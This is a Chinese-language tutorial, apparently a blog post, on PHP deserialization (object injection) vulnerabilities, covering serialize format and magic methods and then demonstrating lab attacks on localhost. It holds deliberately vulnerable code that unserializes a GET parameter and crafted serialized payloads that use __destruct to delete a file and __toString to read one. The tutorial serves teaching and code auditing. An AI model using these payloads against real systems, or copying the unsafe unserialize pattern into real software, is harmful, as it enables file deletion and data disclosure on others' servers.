PHP反序列化漏洞

php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用扣癣,但仍舊非常危險惰帽。為了理解這個漏洞,請讀者具備基礎的php知識父虑。類和變量是非常容易理解的php概念该酗。
這里先來了解一下什么是php序列化與反序列化?

序列化:

函數(shù) : serialize()
把復雜的數(shù)據(jù)類型壓縮到一個字符串中 數(shù)據(jù)類型可以是數(shù)組士嚎,字符串垂涯,對象等
序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法航邢,只會保存類的名字耕赘。

反序列化:

函數(shù): unserialize()
恢復原先被序列化的變量

首先了解一下php中的魔術方法:
php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號__開頭的膳殷,比如 __construct, __destruct, __toString, __sleep, __wakeup等等操骡。這些函數(shù)在某些情況下會自動調(diào)用,比如__construct當一個對象創(chuàng)建時被調(diào)用赚窃,__destruct當一個對象銷毀時被調(diào)用册招,__toString當一個對象被當作一個字符串使用。為了更好的理解magic方法是如何工作的勒极,在2.php中增加了三個magic方法是掰,__construct, __destruct和__toString∪枘洌可以看出键痛,__construct在對象創(chuàng)建時調(diào)用,__destruct在php腳本結(jié)束時調(diào)用匾七,__toString在對象被當作一個字符串使用時調(diào)用絮短。

__construct   當一個對象創(chuàng)建時被調(diào)用,
__destruct   當一個對象銷毀時被調(diào)用昨忆,
__toString   當一個對象被當作一個字符串被調(diào)用丁频。
__wakeup()   使用unserialize時觸發(fā)
__sleep()    使用serialize時觸發(fā)
__destruct()    對象被銷毀時觸發(fā)
__call()    在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic()    在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get()    用于從不可訪問的屬性讀取數(shù)據(jù)
__set()    用于將數(shù)據(jù)寫入不可訪問的屬性
__isset()    在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()     在不可訪問的屬性上使用unset()時觸發(fā)
__toString()    把類當作字符串使用時觸發(fā),返回值需要為字符串
__invoke()   當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)
<?php  
   
class TestClass  
{  
    // 一個變量  
   
    public $variable = 'This is a string';  
   
    // 一個簡單的方法  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    // Constructor  
   
    public function __construct()  
    {  
        echo '__construct <br />';  
    }  
   
    // Destructor  
   
    public function __destruct()  
    {  
        echo '__destruct <br />';  
    }  
   
    // Call  
   
    public function __toString()  
    {  
        return '__toString<br />';  
    }  
}  
   
// 創(chuàng)建一個對象  
//  __construct會被調(diào)用  
   
$object = new TestClass();  
   
// 創(chuàng)建一個方法   
   
$object->PrintVariable();  
   
// 對象被當作一個字符串  
//  __toString會被調(diào)用  
   
echo $object;  
   
// End of PHP script  
// 腳本結(jié)束__destruct會被調(diào)用  
   
?> 
image.png

php允許保存一個對象方便以后重用,這個過程被稱為序列化邑贴。為什么要有序列化這種機制呢?在傳遞變量的過程中席里,有可能遇到變量值要跨腳本文件傳遞的過程。試想拢驾,如果為一個腳本中想要調(diào)用之前一個腳本的變量奖磁,但是前一個腳本已經(jīng)執(zhí)行完畢,所有的變量和內(nèi)容釋放掉了独旷,我們要如何操作呢?難道要前一個腳本不斷的循環(huán)署穗,等待后面腳本調(diào)用?這肯定是不現(xiàn)實的寥裂。serialize和unserialize就是用來解決這一問題的嵌洼。serialize可以將變量轉(zhuǎn)換為字符串并且在轉(zhuǎn)換中可以保存當前變量的值案疲;unserialize則可以將serialize生成的字符串變換回變量。讓我們看看php對象序列化之后的格式麻养。

1.2 PHP序列化格式:

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
對象類型:長度:"名字":類中變量的個數(shù):{類型:長度:"名字";類型:長度:"值";......}

1.3 類型字母詳解:

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

例如:

<?php  
   
// 某類  
   
class User  
{  
    // 類數(shù)據(jù)  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出數(shù)據(jù)  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age  
             . ' years old. <br />';  
    }  
}  
   
// 創(chuàng)建一個對象  
   
$usr = new User();  
   
// 設置數(shù)據(jù)  
   
$usr->age = 20;  
$usr->name = 'John';  
   
// 輸出數(shù)據(jù)  
   
$usr->PrintData();  
   
// 輸出序列化之后的數(shù)據(jù)  
   
echo serialize($usr);  
   
?> 
image.png
User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}
當$name為public型的時候可以看到name為4字節(jié)輸出
<?php
class User  
{  
    // 類數(shù)據(jù)  
   
    public $age = 0;  
    private $name = 'John';  
   
    // 輸出數(shù)據(jù)  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age  
             . ' years old. <br />';  
    }  
}  
   
// 創(chuàng)建一個對象  
   
$usr = new User();  
   
// 設置數(shù)據(jù)  
   
$usr->age = 20;  
//$usr->name = 'John';  
   
// 輸出數(shù)據(jù)  
   
$usr->PrintData();  
   
// 輸出序列化之后的數(shù)據(jù)  
   
echo serialize($usr);  
   
   
?> 
User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:10:"Username";s:4:"John";}
$name為private類型時褐啡,發(fā)現(xiàn)10字節(jié)username
User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:7:"*name";s:4:"John";}
$name為protected類型時輸出

發(fā)現(xiàn)個問題,為什么私有的鳖昌,受保護的$name上都多了兩個字節(jié)呢备畦?

Ps:對象的私有成員具有加入成員名稱的類名稱;受保護的成員在成員名前面加上*。這些前綴值在任一側(cè)都有空字節(jié)

反序列化:
為了使用上面這個對象许昨,用unserialize重建對象懂盐。

    <?php  
       
    // 某類  
       
    class User  
    {  
        // Class data  
       
        public $age = 0;  
        public $name = '';  
       
        // Print data  
       
        public function PrintData()  
        {  
            echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
        }  
    }  
       
    // 重建對象  
       
    $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
       
    // 調(diào)用PrintData 輸出數(shù)據(jù)  
       
    $usr->PrintData();  
       
    ?> 
image.png

magic函數(shù)__construct和__destruct會在對象創(chuàng)建或者銷毀時自動調(diào)用;__sleep magic方法在一個對象被序列化的時候調(diào)用糕档;__wakeup magic方法在一個對象被反序列化的時候調(diào)用莉恼。在5.php中添加這幾個magic函數(shù)的例子。

<?php  
   
class Test  
{  
    public $variable = 'BUZZ';  
    public $variable2 = 'OTHER';  
   
    public function PrintVariable()  
    {  
        echo $this->variable . '<br />';  
    }  
   
    public function __construct()  
    {  
        echo '__construct<br />';  
    }  
   
    public function __destruct()  
    {  
        echo '__destruct<br />';  
    }  
   
    public function __wakeup()  
    {  
        echo '__wakeup<br />';  
    }  
   
    public function __sleep()  
    {  
        echo '__sleep<br />';  
   
        return array('variable', 'variable2');  
    }  
}  
   
 創(chuàng)建對象調(diào)用__construct
   
$obj = new Test();  
   
 序列化對象調(diào)用__sleep  
   
$serialized = serialize($obj);  
   
 輸出序列化后的字符串  
   
print 'Serialized: ' . $serialized . '<br />';  
   
重建對象調(diào)用__wakeup  
   
$obj2 = unserialize($serialized);  
   
 調(diào)用PintVariable輸出數(shù)據(jù) 
   
$obj2->PrintVariable();  
   
 腳本結(jié)束調(diào)用__destruct   
?>
image.png

序列化public private protect參數(shù)產(chǎn)生不同結(jié)果

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

test類定義了三個不同類型(私有速那,公有俐银,保護)但是值相同的字符串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通過對網(wǎng)頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的參數(shù)被反序列化后變成 \00test\00test1 public的參數(shù)變成 test2 protected的參數(shù)變成 \00*\00test3

php反序列化漏洞

現(xiàn)在我們了解序列化是如何工作的端仰,但是我們?nèi)绾卫盟?有多種可能的方法,取決于應用程序、可用的類和magic函數(shù)怠苔。記住刚盈,序列化對象包含攻擊者控制的對象值。你可能在Web應用程序源代碼中找到一個定義__wakeup或__destruct的類鹤竭,這些函數(shù)會影響Web應用程序陪捷。例如,我們可能會找到一個臨時將日志存儲到文件中的類诺擅。當銷毀時對象可能不再需要日志文件并將其刪除市袖。把下面這段代碼保存為logfile.php。

    <?php   
       
    class LogFile  
    {  
        // log文件名  
       
        public $filename = 'error.log';  
       
        // 儲存日志文件  
       
        public function LogData($text)  
        {  
            echo 'Log some data: ' . $text . '<br />';  
            file_put_contents($this->filename, $text, FILE_APPEND);  
        }  
       
        // 刪除日志文件  
       
        public function __destruct()  
        {  
            echo '__destruct deletes "' . $this->filename . '" file. <br />';  
            unlink(dirname(__FILE__) . '/' . $this->filename);  
        }  
    }  
       
    ?> 

這是一個使用它的例子烁涌。

<?php  
   
include 'logfile.php';  
   
// 創(chuàng)建一個對象  
   
$obj = new LogFile();  
   
// 設置文件名和要儲存的日志數(shù)據(jù)  
   
$obj->filename = 'somefile.log';  
$obj->LogData('Test');  
   
// 腳本結(jié)束__destruct被調(diào)用somefile.log文件被刪除
   
?> 

在其它腳本中我們可能找到一個unserialize的調(diào)用苍碟,并且參數(shù)是用戶提供的。把下面這段代碼保存為test.php撮执。

<?php  
   
include 'logfile.php';  
   
// ... 一些使用LogFile類的代碼...  
   
// 簡單的類定義  
   
class User  
{  
    // 類數(shù)據(jù)  
   
    public $age = 0;  
    public $name = '';  
   
    // 輸出數(shù)據(jù)  
   
    public function PrintData()  
    {  
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 重建用戶輸入的數(shù)據(jù)  
   
$usr = unserialize($_GET['usr_serialized']);  
   
?> 
image.png

現(xiàn)在是可以打開aa.php的
通過下面代碼進行刪除aa.php

創(chuàng)建利用代碼111.php微峰。

    <?php  
     
    include 'logfile.php';  
     
    $obj = new LogFile();  
    $obj->filename = 'aa.php';  
       
    echo serialize($obj) . '<br />';  
       
    ?> 

訪問111.php


image.png

可以看到序列化后的字符串
然后訪問http://127.0.0.1/myphp/Test.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:6:%22aa.php%22;}

image.png

發(fā)現(xiàn)已刪除aa.php,檢查一下


image.png

這時找不到aa.php了抒钱,說明已被刪除

這就是漏洞名稱的由來:在變量可控并且進行了unserialize操作的地方注入序列化對象蜓肆,實現(xiàn)代碼執(zhí)行或者其它坑爹的行為颜凯。先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞仗扬,一切都是取決于程序邏輯症概。舉個例子,某用戶類定義了一個__toString為了讓應用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $obj)早芭,而且其他類也可能定義了一個類允許__toString讀取某個文件彼城。把下面這段代碼保存為TT.php。

    <?php   
       
    // … 一些include ...  
       
    class FileClass  
    {  
        // 文件名  
       
        public $filename = 'error.log';  
       
        // 當對象被作為一個字符串會讀取這個文件  
       
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }  
       
    // Main User class  
       
    class User  
    {  
        // Class data  
       
        public $age = 0;  
        public $name = '';  
       
        // 允許對象作為一個字符串輸出上面的data  
       
        public function __toString()  
        {  
            return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
        }  
    }  
       
    // 用戶可控  
       
    $obj = unserialize($_GET['usr_serialized']);  
       
    // 輸出__toString  
       
    echo $obj;  
       
    ?> 

訪問http://127.0.0.1/myphp/TT.php?usr_serialized=O:4:%22User%22:2:{s:3:%22age%22;i:20;s:4:%22name%22;s:4:%22John%22;}

image.png

但是如果我們用序列化調(diào)用FileClass呢?先建立一個1.txt退个。

image.png

創(chuàng)建利用代碼a_1.php募壕。

<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 

訪問http://127.0.0.1/myphp/a_1.php

image.png

訪問 http://127.0.0.1/myphp/TT.php?usr_serialized=O:9:%22FileClass%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}

image.png

成功顯示了文本內(nèi)容。也可以使用其他magic函數(shù):如果對象將調(diào)用一個不存在的函數(shù)__call將被調(diào)用语盈;如果對象試圖訪問不存在的類變量__get和__set將被調(diào)用舱馅。但是利用這種漏洞并不局限于magic函數(shù),在普通的函數(shù)上也可以采取相同的思路刀荒。例如User類可能定義一個get方法來查找和打印一些用戶數(shù)據(jù)代嗤,但是其他類可能定義一個從數(shù)據(jù)庫獲取數(shù)據(jù)的get方法,這從而會導致SQL注入漏洞照棋。set或write方法會將數(shù)據(jù)寫入任意文件资溃,可以利用它獲得遠程代碼執(zhí)行。唯一的技術問題是注入點可用的類烈炭,但是一些框架或腳本具有自動加載的功能溶锭。最大的問題在于人:理解應用程序以能夠利用這種類型的漏洞,因為它可能需要大量的時間來閱讀和理解代碼符隙。

漏洞的前提:

1)unserialize函數(shù)的變量可控
2)php文件中存在可利用的類趴捅,類中有魔術方法

利用場景在ctf、代碼審計中常見霹疫,黑盒測試要通過檢查cookie等有沒有序列化的值來查看拱绑。

防御方法主要有對參數(shù)進行處理、換用更安全的函數(shù)丽蝎。
推薦閱讀:SugarCRM v6.5.23 PHP反序列化對象注入漏洞分析

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末猎拨,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子屠阻,更是在濱河造成了極大的恐慌红省,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,542評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件国觉,死亡現(xiàn)場離奇詭異吧恃,居然都是意外死亡,警方通過查閱死者的電腦和手機麻诀,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,596評論 3 385
  • 文/潘曉璐 我一進店門痕寓,熙熙樓的掌柜王于貴愁眉苦臉地迎上來傲醉,“玉大人,你說我怎么就攤上這事呻率∮脖希” “怎么了?”我有些...
    開封第一講書人閱讀 158,021評論 0 348
  • 文/不壞的土叔 我叫張陵筷凤,是天一觀的道長昭殉。 經(jīng)常有香客問我苞七,道長藐守,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,682評論 1 284
  • 正文 為了忘掉前任蹂风,我火速辦了婚禮卢厂,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘惠啄。我一直安慰自己慎恒,他們只是感情好,可當我...
    茶點故事閱讀 65,792評論 6 386
  • 文/花漫 我一把揭開白布撵渡。 她就那樣靜靜地躺著融柬,像睡著了一般。 火紅的嫁衣襯著肌膚如雪趋距。 梳的紋絲不亂的頭發(fā)上粒氧,一...
    開封第一講書人閱讀 49,985評論 1 291
  • 那天,我揣著相機與錄音节腐,去河邊找鬼外盯。 笑死,一個胖子當著我的面吹牛翼雀,可吹牛的內(nèi)容都是我干的饱苟。 我是一名探鬼主播,決...
    沈念sama閱讀 39,107評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼狼渊,長吁一口氣:“原來是場噩夢啊……” “哼箱熬!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起狈邑,我...
    開封第一講書人閱讀 37,845評論 0 268
  • 序言:老撾萬榮一對情侶失蹤城须,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后官地,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體酿傍,經(jīng)...
    沈念sama閱讀 44,299評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,612評論 2 327
  • 正文 我和宋清朗相戀三年驱入,在試婚紗的時候發(fā)現(xiàn)自己被綠了赤炒。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片氯析。...
    茶點故事閱讀 38,747評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖莺褒,靈堂內(nèi)的尸體忽然破棺而出掩缓,到底是詐尸還是另有隱情,我是刑警寧澤遵岩,帶...
    沈念sama閱讀 34,441評論 4 333
  • 正文 年R本政府宣布你辣,位于F島的核電站,受9級特大地震影響尘执,放射性物質(zhì)發(fā)生泄漏舍哄。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 40,072評論 3 317
  • 文/蒙蒙 一誊锭、第九天 我趴在偏房一處隱蔽的房頂上張望表悬。 院中可真熱鬧,春花似錦丧靡、人聲如沸蟆沫。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,828評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽饭庞。三九已至,卻和暖如春熬荆,著一層夾襖步出監(jiān)牢的瞬間舟山,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,069評論 1 267
  • 我被黑心中介騙來泰國打工惶看, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留捏顺,地道東北人。 一個月前我還...
    沈念sama閱讀 46,545評論 2 362
  • 正文 我出身青樓纬黎,卻偏偏與公主長得像幅骄,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子本今,可洞房花燭夜當晚...
    茶點故事閱讀 43,658評論 2 350

推薦閱讀更多精彩內(nèi)容